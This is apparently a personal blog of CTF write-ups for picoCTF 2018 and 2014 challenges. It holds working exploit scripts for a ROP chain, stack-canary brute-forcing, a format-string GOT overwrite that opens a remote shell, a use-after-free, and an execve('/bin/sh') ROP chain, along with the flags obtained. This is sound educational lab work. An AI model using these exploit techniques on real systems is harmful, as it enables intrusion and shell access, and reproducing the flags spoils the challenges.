EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ objdump -d rop | grep -B4 "ret"

 8048403: 74 05                je     804840a <_init+0x1e>

 8048405: e8 b6 00 00 00       call   80484c0 <setresgid@plt+0x10>

 804840a: 83 c4 08             add    $0x8,%esp

 804840d: 5b                   pop    %ebx

 804840e: c3                   ret    


rop.py:

You know what I totally forgot? 

The p32 function. (smh)

from pwn import *


r = process('/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop')


print r.recvuntil("Enter your input>")


exploit = "\x90"*28


exploit += "\xcb\x85\x04\x08"     # win_function1

exploit += "\xd8\x85\x04\x08"     # win_function2

exploit += "\x0d\x84\x04\x08"     # gadget: pop ret

exploit += "\xAD\xAA\xAA\xBA"    # win_function2 args

exploit += "\x2b\x86\x04\x08"     # flag

exploit += "\x90"*4

exploit += "\xAD\xBA\xAD\xDE"


r.sendline(exploit)

print r.recvline()


But it works!

EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ python /home/EverTokki/rop.py

[+] Starting local process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop': pid 1887127

Enter your input>

 picoCTF{rOp_aInT_5o_h4Rd_R1gHt_536d67d1}


[*] Stopped process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop' (pid 1887127)




buffer overflow 3

Points: 450


It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? 



Took me much longer than it should've.

I read the following writeup after searching for 'brute-force stack canary': 

https://github.com/VulnHub/ctf-writeups/blob/master/2017/codegate-prequels/babypwn.md



Read the writeup above, implement the code.

Brute-force each canary byte by checking whether you've overwritten the value with something that the program can't detect (correct canary byte) or one that gives you an error (wrong canary byte)


After your canary is cooked up, send the payload with a return address to win()


#!/usr/bin/env python


from pwn import *


canary = ""

canary_offset = 32

guess = 0x0


win = 0x80486eb


buf = ""

buf += "A" * canary_offset


while len(canary) < 4:

    while guess != 0xff:

        #try:

            r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')


            r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")

            r.sendline("36")


            r.recvuntil("Input> ")

            r.send(buf + chr(guess))


            d = r.recv(timeout=5)

            print d


            if "***" not in d:

             print "Guessed correct byte:", format(guess, '02x')

             canary += chr(guess)

             buf += chr(guess)

             guess = 0x0

             break


            else:

             guess += 1


print "Canary:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)


r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')

r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")

r.sendline("200")


r.recvuntil("Input> ")

r.send(buf + canary + p32(win)*10)


print r.recv(timeout=5)


me: so... do I need to know how to calculate the padding?

friend: no, because you'll usually be able to see it in your ida. since you have the source code here, you know it's safe to just put random numbers of stuff


EverTokki@pico-2018-shell:/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e$ python /home/EverTokki/cantest.py

[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 54329

[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 255 (pid 54329)

*** Stack Smashing Detected *** : Canary Value Corrupt!

[...]


[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58571

[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 0 (pid 58571)

Ok... Now Where's the Flag?


Guessed correct byte: 25

Canary:\x3c\x7a\x4f\x25

[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58573

Ok... Now Where's the Flag?

picoCTF{eT_tU_bRuT3_F0Rc3_9bb35cfd}




echo back

Points: 500


This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell.picoctf.com 37402.



Great opportunity to solidify my understanding of PLT / GOT. :')



Although I watched a walkthrough of this problem, I still struggled with the concepts of FSB + GOT/PLT, so I got a friend to step me through the problem, literally hold my hand, and explain what had to be done. 

Some few things he has mentioned:
1. It's easier (to understand your own payload + calculate offsets) if you put all the necessary addresses at the very beginning of your payload
2. If you have a negative offset that you have to overwrite, (e.g. you want to write 0x0804 but you already have outputted 0x8230 characters) you can use 0x10804 instead, with the %hn function in order to only write the last two bytes.
3. PLT is read-only.

After listening to his lecture for a while I went and watched the video above because for some reason, navigating through a program using gdb still sometimes confuses me over and the knowledge didn't seem to be sticking with me.

When you call a function, it jumps to PLT. 
PLT contains a jump to the GOT. 
GOT is a table, empty when you look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that another jump from the GOT will lead at the function at LIBC. 

If you understand what a FSB is and how you can overwrite GOT with it, along with knowing the overall concept of got/plt you're ready for this problem.

WHAT WE WANT TO DO

printf@GOT --> system@PLT

puts@GOT --> &main


There are a lot of ways to get addresses but let's use the one I learned recently because I feel proud of myself:


EverTokki@pico-2018-shell:~/echoback$ objdump -R echoback 


echoback:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE 

08049ffc R_386_GLOB_DAT    __gmon_start__

0804a038 R_386_COPY        stdout@@GLIBC_2.0

0804a00c R_386_JUMP_SLOT   read@GLIBC_2.0

0804a010 R_386_JUMP_SLOT   printf@GLIBC_2.0

0804a014 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4

0804a018 R_386_JUMP_SLOT   getegid@GLIBC_2.0

0804a01c R_386_JUMP_SLOT   puts@GLIBC_2.0

0804a020 R_386_JUMP_SLOT   system@GLIBC_2.0

0804a024 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0

0804a028 R_386_JUMP_SLOT   setvbuf@GLIBC_2.0

0804a02c R_386_JUMP_SLOT   setresgid@GLIBC_2.0


EverTokki@pico-2018-shell:~/echoback$ objdump -d echoback | grep "system"

08048460 <system@plt>:

 80485dc: e8 7f fe ff ff        call   8048460 <system@plt>


printf@got: 0x0804A010

puts@got: 0x0804A01C

system@plt: 0x8048460

main: 0x08048643


The reason you overwrite it to system@plt - first of all, you gotta overwrite GOT because you can't overwrite PLT

After you overwrite say, printf@GOT to system@PLT, the function will call vuln again (puts@GOT --> &main) the printf call at PLT will jump to system@PLT, which will then be jump to system@GOT and system@LIBC


from pwn import *


r = remote('2018shell.picoctf.com', 37402)

# r = process('/home/EverTokki/echoback/echoback')


system_plt = 0x08048460

printf_got_1 = 0x0804a010

printf_got_2 = 0x0804a012

puts_got_1 = 0x0804a01c

puts_got_2 = 0x0804a01e

main = 0x08048643


# buffer is located at 7th argument


# load addresses into buffer

# printf_got 2 bytes each

payload = p32(printf_got_1)

payload += p32(printf_got_2)


# puts_got 2 bytes each

payload += p32(puts_got_1)

payload += p32(puts_got_2)


# 16 bytes written


# overwrite printf @ GOT (which is the library address to printf)  --> system @ plt

# write 0x8460(33888) to printf_got 

payload += "%33872c%7$hn"


# write 0x10804(67588) to printf_got+2

payload += "%33700c%8$hn"


# overwrite puts @ GOT --> &main

# write 0x18643(99907) to puts_got

payload += "%32319c%9$hn"


# write 0x20804(133124) to puts_got+2

payload += "%33217c%10$hn"


print r.recvuntil("input your message:")


print "Sending payload..."

r.send(payload)

r.interactive()



EverTokki@pico-2018-shell:~/echoback$ python got_ovr.py 

[+] Opening connection to 2018shell.picoctf.com on port 37402: Done

input your message:

Sending payload...

[*] Switching to interactive mode


\x10\xa0\x0\x12\xa0\x0\x1c\xa0\x0\x1e\xa0\x0  


[...]


                                        pinput your message:

$ ls

echoback

echoback.c

flag.txt

xinet_startup.sh

input your message:

$ cat flag.txt

picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_ee5a92ac}

input your message:

$ 

[*] Interrupted

[*] Closed connection to 2018shell.picoctf.com port 37402


Not on topic but I really need to come up with some smart solution to embedding code on my blog..




are you root? 

Points: 550


Can you get root access through this service and get the flag? Connect with nc 2018shell.picoctf.com 26847.



Okay. Instead of the usual documenting-after-solve, I'll write things as I go.


This is a case of a use-after free bug. I was first introduced to it because my friend, cd80, had written a document on it (Korean): https://cd80.tistory.com/40

Instead of calloc, you're using malloc - this does not clean out your heap space after you finish using it. That's not good.

I kinda already knew this method, so the only thing I really have to do is understand how the bug works and how to implement an exploit.


I installed gdb peda.

Life is actually awesome with tools.. So far I've been having a great time, not sure how that's going to work out once problems get complicated.

Let's play around with the heap, because I have no idea how it works.


gdb-peda$ b *0x0400b4b

Breakpoint 1 at 0x400b4b


gdb-peda$ r

Starting program: /home/EverTokki/r_u_rt/auth 

Available commands:

show - show your current user and authorization level

login [name] - log in as [name]

set-auth [level] - set your authorization level (must be below 5)

get-flag - print the flag (requires authorization level 5)

reset - log out and reset authorization level

quit - exit the program


Enter your command:

> login AAAA


gdb-peda$ c

Continuing.

Logged in as "AAAA"


Enter your command:

> set-auth 3


gdb-peda$ parseheap

addr                prev                size                 status              fd                bk                

0x603000            0x0                 0x410                Used                None              None

0x603410            0x0                 0x20                 Used                None              None

0x603430            0x0                 0x20                 Used                None              None


gdb-peda$ x/40wx 0x603410    

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000 

0x603420: 0x00603440 0x00000000 0x00000003 0x00000000 <---- AUTH_VAR

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x41414141 0x00000000 0x00000000 0x00000000 <---- NAME

0x603450: 0x00000000 0x00000000 0x00020bb1 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000

0x603470: 0x00000000 0x00000000 0x00000000 0x00000000

0x603480: 0x00000000 0x00000000 0x00000000 0x00000000

0x603490: 0x00000000 0x00000000 0x00000000 0x00000000

0x6034a0: 0x00000000 0x00000000 0x00000000 0x00000000

gdb-peda$ 


Three things to note: 

1. The 0x21 is the least significant bits, that are used in order to indicate that the block above is being used (in the heap). So after you free the heap space, this would be changed to 0x20 (from: https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580)

2. You can see that AAAA and 3 were both stored in the heap. 

3. The file is 64-bits which I've never worked with :')


What I concluded (after suffering for a whole two hours):

I struct an instance of user, with some kind of name + '\x05' --> I reset (free(user->name)) and login(malloc(user)) again, with the same name. 

Now that there is a 5 after the name of the new user (which the code thinks it references to as "level"). 


What took a long time for me was that I thought this would be some pointer manipulation problem. 


EverTokki@pico-2018-shell:~/r_u_rt$ (echo `perl -e 'print "login ", "A", "\x05"x8'`;cat)|nc 2018shell.picoctf.com 26847

Available commands:

show - show your current user and authorization level

login [name] - log in as [name]

set-auth [level] - set your authorization level (must be below 5)

get-flag - print the flag (requires authorization level 5)

reset - log out and reset authorization level

quit - exit the program


Enter your command:

> Logged in as "A"


Enter your command:

> reset

Logged out!


Enter your command:

> login A

Logged in as "A"


Enter your command:

> show

Logged in as A [5]


Enter your command:

> get-flag

picoCTF{m3sS1nG_w1tH_tH3_h43p_4baeffe9}




can-you-gets-me 

Points: 650


Can you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. 




Yo it'd be actually dope if I could do this (this is dope because the last time I tried ROP was 3 years ago and I couldn't understand it)


References: 

https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a

https://css.csail.mit.edu/6.858/2014/readings/i386.pdf

https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/


My friend's documentation (Korean): https://t1.daumcdn.net/cfile/tistory/23274B3855A3B4F00E



I mainly followed this write-up through my steps.

http://barrebas.github.io/blog/2015/06/28/rop-primer-level0/


EverTokki@pico-2018-shell:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ gdb -q gets

Reading symbols from gets...(no debugging symbols found)...done.

gdb-peda$ checksec

CANARY    : disabled

FORTIFY   : disabled

NX        : ENABLED

PIE       : disabled

RELRO     : Partial

gdb-peda$ 


1. Look at the source code; we don't have a system call or anything, only gets() --> we want to build a ROP chain for execve("/bin/sh")

We're going to do this using gadgets. Gadgets, in this case, will help you store information in the registers because the system call uses registers to pass on arguments (this may depend because arguments can be passed on the stack too) 


You could either refer to the linux sys call page or check out the man page to execve.


int execve(const char *filename, char *const argv[], char *const envp[]);

                                  ebx                         ecx                      edx


2. Dump your gadgets (I used ROPgadget)

> We'll need int 0x80; ret, and a few more


3. Find read/writeable space


EverTokki@pico-2018-shell:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ gdb -q gets

Reading symbols from gets...(no debugging symbols found)...done.

gdb-peda$ vmmap

Warning: not running

Start      End        Perm Name

0x080481a8 0x080bb314 rx-p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets

0x080480f4 0x080e87dc r--p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets

0x080e9f5c 0x080ebda4 rw-p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets

gdb-peda$ 


0x080b81c6 : pop eax ; ret

0x0806f02a : pop edx ; ret

0x080549db : mov dword ptr [edx], eax ; ret

0x08049303 : xor eax, eax ; ret


"The plan is now to pop the address 0x080e9f5c into edx and the value /bin into eax. The address is arbitrary, but chosen such that we don’t overwrite anything important or that the address contains NULL bytes."



[----------------------------------registers-----------------------------------]

EAX: 0x0 

EBX: 0x80481a8 (<_init>: push   ebx)

ECX: 0x80ea360 --> 0xfbad2088 

EDX: 0x80e904b --> 0x0 

ESI: 0x80ea00c --> 0x80671f0 (<__strcpy_sse2>: mov    edx,DWORD PTR [esp+0x4])

EDI: 0x55 ('U')

EBP: 0x80e9040 --> 0x100ec343 

ESP: 0xffffd574 --> 0x0 

EIP: 0x43434343 ('CCCC')

EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

Invalid $PC address: 0x43434343

[------------------------------------stack-------------------------------------]

0000| 0xffffd574 --> 0x0 

0004| 0xffffd578 --> 0xffffd624 --> 0xffffd756 ("/home/EverTokki/rop/gets")

0008| 0xffffd57c --> 0x80488a3 (<main>: lea    ecx,[esp+0x4])

0012| 0xffffd580 --> 0x0 

0016| 0xffffd584 --> 0x80481a8 (<_init>: push   ebx)

0020| 0xffffd588 --> 0x80ea00c --> 0x80671f0 (<__strcpy_sse2>: mov    edx,DWORD PTR [esp+0x4])

0024| 0xffffd58c --> 0x55 ('U')

0028| 0xffffd590 --> 0x1000 

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x43434343 in ?? ()

gdb-peda$ x/s 0x080e9040

0x80e9040: "C\303\016\020/bin/sh"

gdb-peda$ x/s 0x080e9044

0x80e9044: "/bin/sh"

gdb-peda$ 


Okay, for some reason, I wasn't able to overwrite the memory just with '/bin/sh', I had to add a padding - but now it works. We have "/bin/sh" in memory.

I calculated the padding wrong, It's supposed to be 28 bytes.


Onto the next step.


0x0806f051 : pop ecx ; pop ebx ; ret

0x080d5dc1 : inc ecx ; ret

0x0805d097 : inc edx ; ret


0x0808f097 : add eax, 2 ; ret

0x0808f0b0 : add eax, 3 ; ret


0x0806cc25 : int 0x80

0x080481b2 : ret



EverTokki@pico-2018-shell:~/rop$ gdb -q gets

Reading symbols from gets...(no debugging symbols found)...done.

gdb-peda$ run < input

Starting program: /home/EverTokki/rop/gets < input

GIVE ME YOUR NAME!

process 153281 is executing new program: /bin/dash

process 153281 is executing new program: /bin/dash

[Inferior 1 (process 153281) exited normally]

Warning: not running

gdb-peda$


Is that a shell? Looks like it to me.


EverTokki@pico-2018-shell:~/rop$ python rop_exp.py 

[+] Starting local process '/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets': pid 153530

GIVE ME YOUR NAME!

[*] Switching to interactive mode


$

$ cd /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/

$ ls

flag.txt  gets    gets.c

$ cat flag.txt

picoCTF{rOp_yOuR_wAY_tO_AnTHinG_f5072d23}$ 


Final exploit (revised):

from pwn import *


r = process('/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets') 

#r = process('/home/EverTokki/rop/gets')


writeable_memory = 0x080e9040

binsh = 0x80e9040

int80 = 0x0806cc25

ret = 0x080481b2


pop_eax = 0x080b81c6

pop_edx = 0x0806f02a

pop_ecx_ebx = 0x0806f051

mov_eax_to_edx = 0x080549db


set_eax_zero = 0x08049303

add_eax_two = 0x0808f097

add_eax_three = 0x0808f0b0


inc_ecx = 0x080d5dc1 

inc_edx = 0x0805d097 


payload = ""


# reaching the saved return address

payload += "A"*28


payload += p32(pop_edx) # pop edx; ret

payload += p32(writeable_memory) # read_writeable space


payload += p32(pop_eax) # pop eax; ret

payload += "/bin"        # first part of /bin/sh

payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret


writeable_memory += 4


payload += p32(pop_edx) # pop edx; ret

payload += p32(writeable_memory) # read_writeable space


payload += p32(pop_eax)    # pop eax; ret

payload += "/shX"          # null-terminate this string later


payload += p32(mov_eax_to_edx)   # mov dword ptr[edx], eax; ret


writeable_memory += 3


payload += p32(set_eax_zero) # xor eax, eax; ret - sets eax to 0

payload += p32(pop_edx) # pop edx; ret


payload += p32(writeable_memory) # make the string NULL terminated

payload += p32(mov_eax_to_edx)   # mov dword ptr[edx], eax; ret


payload += p32(pop_ecx_ebx) # pop ecx ; pop ebx ; ret

payload += p32(0xffffffff) # ecx --> will add 1 to zero it out

payload += p32(binsh)      # ebx --> /bin/sh


payload += p32(inc_ecx) # inc ecx ; ret


payload += p32(pop_edx)      # pop edx ret

payload += p32(0xffffffff) # edx --> will add 1 to zero it out


payload += p32(inc_edx) # inc edx ; ret


payload += p32(set_eax_zero) # xor eax, eax; ret 

payload += p32(add_eax_three)

payload += p32(add_eax_three)

payload += p32(add_eax_three)

payload += p32(add_eax_two) # eax = 0x0b


payload += p32(int80)

payload += p32(ret)


#print payload

print r.recvuntil("GIVE ME YOUR NAME!")

r.send(payload)

r.interactive()


반응형

'CTF > picoCTF' 카테고리의 다른 글

picoCTF 2014  (6) 2014.11.19
picoCTF 2013  (0) 2014.06.27
반응형

Hello! Today I'm going to write simple writeups(without reasonings) to wrap-up what I've solved in the picoctf2014. Please feel free to ask questions for specific problems/reasonings in the comments. Hope you enjoy.


Tyrannosaurus Hex - 10

The contents of the flash drive appear to be password protected. On the back of the flash drive, you see the hexadecimal number 0x912d2e43 scribbled in ink. The password prompt, however, only accepts decimal numbers. What number should you enter? 
0x912d2e43=2435657283


No Comment - 20

The CD you find has a copy of your father's website: homepage.html. Maybe something is hidden in the site...

Chrome right click, click inspect element;

"<!-- In case you forget, the password for this site is: flag_bf207f2786e38ceb49fa66d36f996d5ac2cbfd6b -->"



Common Vulnerability Exercise - 20

This disc is encrypted. The surprisingly elaborate password hint refers to "the CVE Identifier for a 2014 vulnerability that allowed arbitrary code execution in Firefox via a buffer overflow in a speech codec". If you found this "CVE-ID" thingy, it'd probably be the password.
Go to https://cve.mitre.org and put in for keyword, 'arbitrary code execution in Firefox via a buffer overflow in a speech codec'. Plug in a few cve's; CVE-2014-1542


Caesar - 20

You find an encrypted message written on the documents. Can you decrypt it?
encrypted.txt:

vjgugetgvrcuurjtcugkudnekgavqkpsqvzvihlvwmrwbpqtiha


go to http://nayuki.eigenstate.org/page/automatic-caesar-cipher-breaker-javascript

click break code! after entering the message.


thesecretpassphraseisblcieytoinqotxtgfjtukpuznorgfy


The Valley of Fear - 20

The hard drive may be corrupted, but you were able to recover a small chunk of text. Scribbled on the back of the hard drive is a set of mysterious numbers. Can you discover the meaning behind these numbers? (1, 9, 4) (4, 2, 8) (4, 8, 3) (7, 1, 5) (8, 10, 1)
(Paragraph #, Line #, Word # from left side) makes up "the flag is Ceremonial plates"


Internet Inspection - 30

On his computer, your father left open a browser with the Thyrin Lab Website. Can you find the hidden access code?
Open Google Chrome, go to inspect elements, open tab on the gridded bit of the website         -> flag_9128b5712ce17849f619b5a082e4367f7a9c0d08


RoboPhoto - 30

Your father has been known to use the titles of his favorite books as passwords. While you don't remember any of the names of the books, your father keeps a poster for one of them on his wall. Can you figure out the name of the book and unlock the CD?
Go to google images and paste the image's url, hit enter. The Positronic Man


This is the Endian - 40

This is the end! Solving this challenge will help you defeat Daedalus's cyborg. You can find more information about endianness and the problem here. The flag is the smallest possible program input that causes the program to print "Access Granted".
0x52657663 & 0x30646521 in little endian-" \x63\x76\x65\x52 & \x21\x65\x64\x30". Plug the values into 'data preview' below; \x63\x76\x65\x52\x21\x65\x64\x30; You get the values in ASCII. cveR!ed0


Supercow - 40

Daedalus Corp. has a special utility for printing .cow files at /home/daedalus/supercow. Can you figure out how to get it to print out the flag?

Simply symbolic link the txt file into cow file.


pico19855@shell:~$ cd /home/daedalus

pico19855@shell:/home/daedalus$ ls

flag.txt  hint.cow  secret1.cow  secret2.cow  supercow  supercow.c

pico19855@shell:/home/daedalus$ ./supercow secret1.cow

 ____________

< cow_text_1 >

 ------------

        \   ^__^

         \  (oo)\_______

            (__)\       )\/\

                ||----w |

                ||     ||

pico19855@shell:/home/daedalus$ ln -s flag.txt /home_users/pico19855/asdf.cow

pico19855@shell:/home/daedalus$ ./supercow /home_users/pico19855/asdf.cow

 ______________

< I_LOV_BNANAS >

 --------------

        \   ^__^

         \  (oo)\_______

            (__)\       )\/\

                ||----w |

                ||     ||


Grep is Still Your Friend - 40

The police need help decrypting one of your father's files. Fortunately you know where he wrote down all his backup decryption keys as a backup (probably not the best security practice). You are looking for the key corresponding to daedaluscorp.txt.enc. The file is stored on the shell server at /problems/grepfriend/keys.
Grep it.

Grep it.


pico19855@shell:/home/daedalus$ cd /problems/grepfriend

pico19855@shell:/problems/grepfriend$ grep "daedaluscorp.txt.enc" *

daedaluscorp.txt.enc b2bee8664b754d0c85c4c0303134bca6

pico19855@shell:/problems/grepfriend$ 



Javascrypt - 40

Tyrin Robotics Lab uses a special web site to encode their secret messages. Can you determine the value of the secret key?

alert(key); on your javascript console. (The key differs.)


The page at https://picoctf.com says: flag_3645



Easy Overflow - 40

Is the sum of two positive integers always positive?
nc vuln2014.picoctf.com 50000
'nc' is the Linux netcat command. Try running it in the shell.

If an integer overflows, it becomes negative.


pico19855@shell:~$ nc vuln2014.picoctf.com 50000

Your number is 1712058. Can you make it negative by adding a positive integer?

2145771590

Congratulations! The sum is -2147483648. Here is the flag: That_was_easssy!


Thanks for playing.



Write Right - 50

Can you change the secret? The binary can be found at /home/write_right/ on the shell server. The source can be found here.

pico19855@shell:/home/write_right$ cat write_right.c

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>


unsigned secret = 0xdeadbeef;


int main(int argc, char **argv){

    unsigned *ptr;

    unsigned value;


    char key[33];

    FILE *f;


    printf("Welcome! I will grant you one arbitrary write!\n");

    printf("Where do you want to write to? ");

    scanf("%p", &ptr);

    printf("Okay! What do you want to write there? ");

    scanf("%p", (void **)&value);


    printf("Writing %p to %p...\n", (void *)value, (void *)ptr);

    *ptr = value;

    printf("Value written!\n");


    if (secret == 0x1337beef){

        printf("Woah! You changed my secret!\n");

        printf("I guess this means you get a flag now...\n");


        f = fopen("flag.txt", "r");

        fgets(key, 32, f);

        fclose(f);

        puts(key);


        exit(0);

    }


    printf("My secret is still safe! Sorry.\n");

}

pico19855@shell:/home/write_right$ gdb -q write_right

Reading symbols from write_right...(no debugging symbols found)...done.

(gdb) disas main

Dump of assembler code for function main:

   0x080485cd <+0>: push   %ebp

<cont..>

   0x0804865b <+142>: movl   $0x8048831,(%esp)

   0x08048662 <+149>: call   0x8048470 <puts@plt>

   0x08048667 <+154>: mov 0x804a03c,%eax //address of variable 'secret'-overwrite this.

   0x0804866c <+159>: cmp    $0x1337beef,%eax

<cont...>

   0x080486fc <+303>: call   0x8048460 <__stack_chk_fail@plt>

   0x08048701 <+308>: leave  

   0x08048702 <+309>: ret    

End of assembler dump.

(gdb) x/wx 0x804a03c

0x804a03c <secret>: 0xdeadbeef

(gdb) q

pico19855@shell:/home/write_right$ ./write_right 

Welcome! I will grant you one arbitrary write!

Where do you want to write to? 0x804a03c

Okay! What do you want to write there? 1337beef

Writing 0x1337beef to 0x804a03c...

Value written!

Woah! You changed my secret!

I guess this means you get a flag now...

arbitrary_write_is_always_right

pico19855@shell:/home/write_right$ 



Overflow 1 - 50

This problem has a buffer overflow vulnerability! Can you get a shell, then use that shell to read flag.txt? You can solve this problem interactively here, and the source can be found here.
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
void give_shell(){
 gid_t gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh -i"); 
}

void vuln(char *input){
char buf[16];
int secret = 0;
strcpy(buf, input);

if (secret == 0xc0deface){
give_shell(); 
}else{
printf("The secret is %x\n", secret); 
}
 

int main(int argc, char **argv){
if (argc > 1)
vuln(argv[1]);
return 0;
}

pico19855@shell:/home/overflow1$ ls
flag.txt Makefile overflow1 overflow1.c
pico19855@shell:/home/overflow1$ ./overflow1 `perl
-e 'print "\x90"x16, "\xce\xfa\xde\xc0"'`
$ cat flag.txt
ooh_so_critical



Toaster Control - 50

Daedalus Corp. uses a web interface to control some of their toaster bots. It looks like they removed the command 'Shutdown & Turn Off' from the control panel. Maybe the functionality is still there...
You see the url of any button: http://web2014.picoctf.com/toaster-control-1040194/handler.php?action=Blink%20Lights
Change it to http://web2014.picoctf.com/toaster-control-1040194/handler.php?action=Shutdown%20%26%20Turn%20Off

Toaster Defense System Controls

Shutting down

Shutdown code: flag_c49bdkeekr5zqgvc20vc



ZOR - 50

Daedalus has encrypted their blueprints! Can you get us the password? 
ZOR.py
encrypted

ZOR.py:

#!/usr/bin/python

import sys """ Daedalus Corporation encryption script. """ def xor(input_data, key): result = "" for ch in input_data: result += chr(ord(ch) ^ key) return result def encrypt(input_data, password): key = 0 for ch in password: key ^= ((2 * ord(ch) + 3) & 0xff) return xor(input_data, key) def decrypt(input_data, password): return encrypt(input_data, password) def usage(): print("Usage: %s [encrypt/decrypt] [in_file] [out_file] [password]" % sys.argv[0]) exit() def main(): if len(sys.argv) < 5: usage() input_data = open(sys.argv[2], 'r').read() result_data = "" if sys.argv[1] == "encrypt": result_data = encrypt(input_data, sys.argv[4]) elif sys.argv[1] == "decrypt": result_data = decrypt(input_data, sys.argv[4]) else: usage() out_file = open(sys.argv[3], 'w') out_file.write(result_data) out_file.close()  

main()

//Actually, I kinda got mixed here, so (i dont remember his name) thanks to the anonymous admin who made this prob. Helped a lot :)

Solution:

#!/usr/bin/python

input_data='Vjkq"ogqqceg"kq"dmp"Fcgfcnwq"Amprmpcvkml"mln{,"Mwp"`nwgrpklvq"dmp"vjg"A{`mpe"cpg"rpmvgavgf"ukvj"c"rcqqumpf,"Vjcv"rcqqumpf"kq":da0c251dc0gfffcd:f6a6`ca4c:`g'


password=[]


def xor(input_data, key):

    result = ""

    for ch in input_data:

        result += chr(ord(ch) ^ key)

    return result


for password in range (0,256):

   result=xor(input_data, password)

   print result + "\n"


output:
<gibberish..>

tHISMESSAGEISFORdAEDALUScORPORATIONONLYoURBLUEPRINTSFORTHEcYBORGAREPROTECTEDWITHAPASSWORDtHATPASSWORDISFCAFAEDDDAFDCBACABE



Substitution - 50

There's an authorization code for some Thyrin Labs information here, along with someone's favorite song. But it's been encrypted! Find the authorization code.
encrypted.txt:

mid ofminzujomunc snvd ug kumiobbmidsnbnzgnwmidkucv ynf miucq ue oc ulcnzocm gotold ocv ynftd addc gn eocy xbosdg u lfdgg um efgm ad gn afm gmubb u soccnm gdd uw mid gotold ncd ug ed ink soc midzd ad gn efsi miom ynf vncm qcnk ynf vncm qcnk ynf miucq ynf nkc kiomdtdz bocv ynf bocv nc mid dozmi ug rfgm o vdov miucl ynf soc sboue afm u qcnk dtdzy znsq ocv mzdd ocv szdomfzd iog o buwd iog o gxuzum iog o coed ynf miucq mid ncby xdnxbd kin ozd xdnxbd ozd mid xdnxbd kin bnnq ocv miucq buqd ynf afm uw ynf kobq mid wnnmgmdxg nw o gmzocldz ynfbb bdozc miuclg ynf cdtdz qcdk ynf cdtdz qcdk iotd ynf dtdz idozv mid knbw szy mn mid abfd snzc ennc nz ogqdv mid lzuccucl anasom kiy id lzuccdv soc ynf gucl kumi obb mid tnusdg nw mid enfcmoucg soc ynf xoucm kumi obb mid snbnzg nw mid kucv soc ynf xoucm kumi obb mid snbnzg nw mid kucv sned zfc mid iuvvdc xucd mzoubg nw mid wnzdgm sned mogmd mid gfcgkddm adzzudg nw mid dozmi sned znbb uc obb mid zusidg obb oznfcv ynf ocv wnz ncsd cdtdz kncvdz kiom midyzd knzmi mid zoucgmnze ocv mid zutdz ozd ey aznmidzg mid idznc ocv mid nmmdz ozd ey wzudcvg ocv kd ozd obb snccdsmdv mn dosi nmidz uc o suzsbd uc o innx miom cdtdz dcvg ink iuli kubb mid gysoenzd lznk uw ynf sfm um vnkc midc ynfbb cdtdz qcnk ocv ynfbb cdtdz idoz mid knbw szy mn mid abfd snzc ennc wnz kidmidz kd ozd kiumd nz snxxdz gquccdv kd cddv mn gucl kumi obb mid tnusdg nw mid enfcmoucg kd cddv mn xoucm kumi obb mid snbnzg nw mid kucv ynf soc nkc mid dozmi ocv gmubb obb ynfbb nkc ug dozmi fcmub ynf soc xoucm kumi obb mid snbnzg nw mid kucv


I always use this site. Go there and paste the text above.

the authorization code is withallthecolorsofthewind  


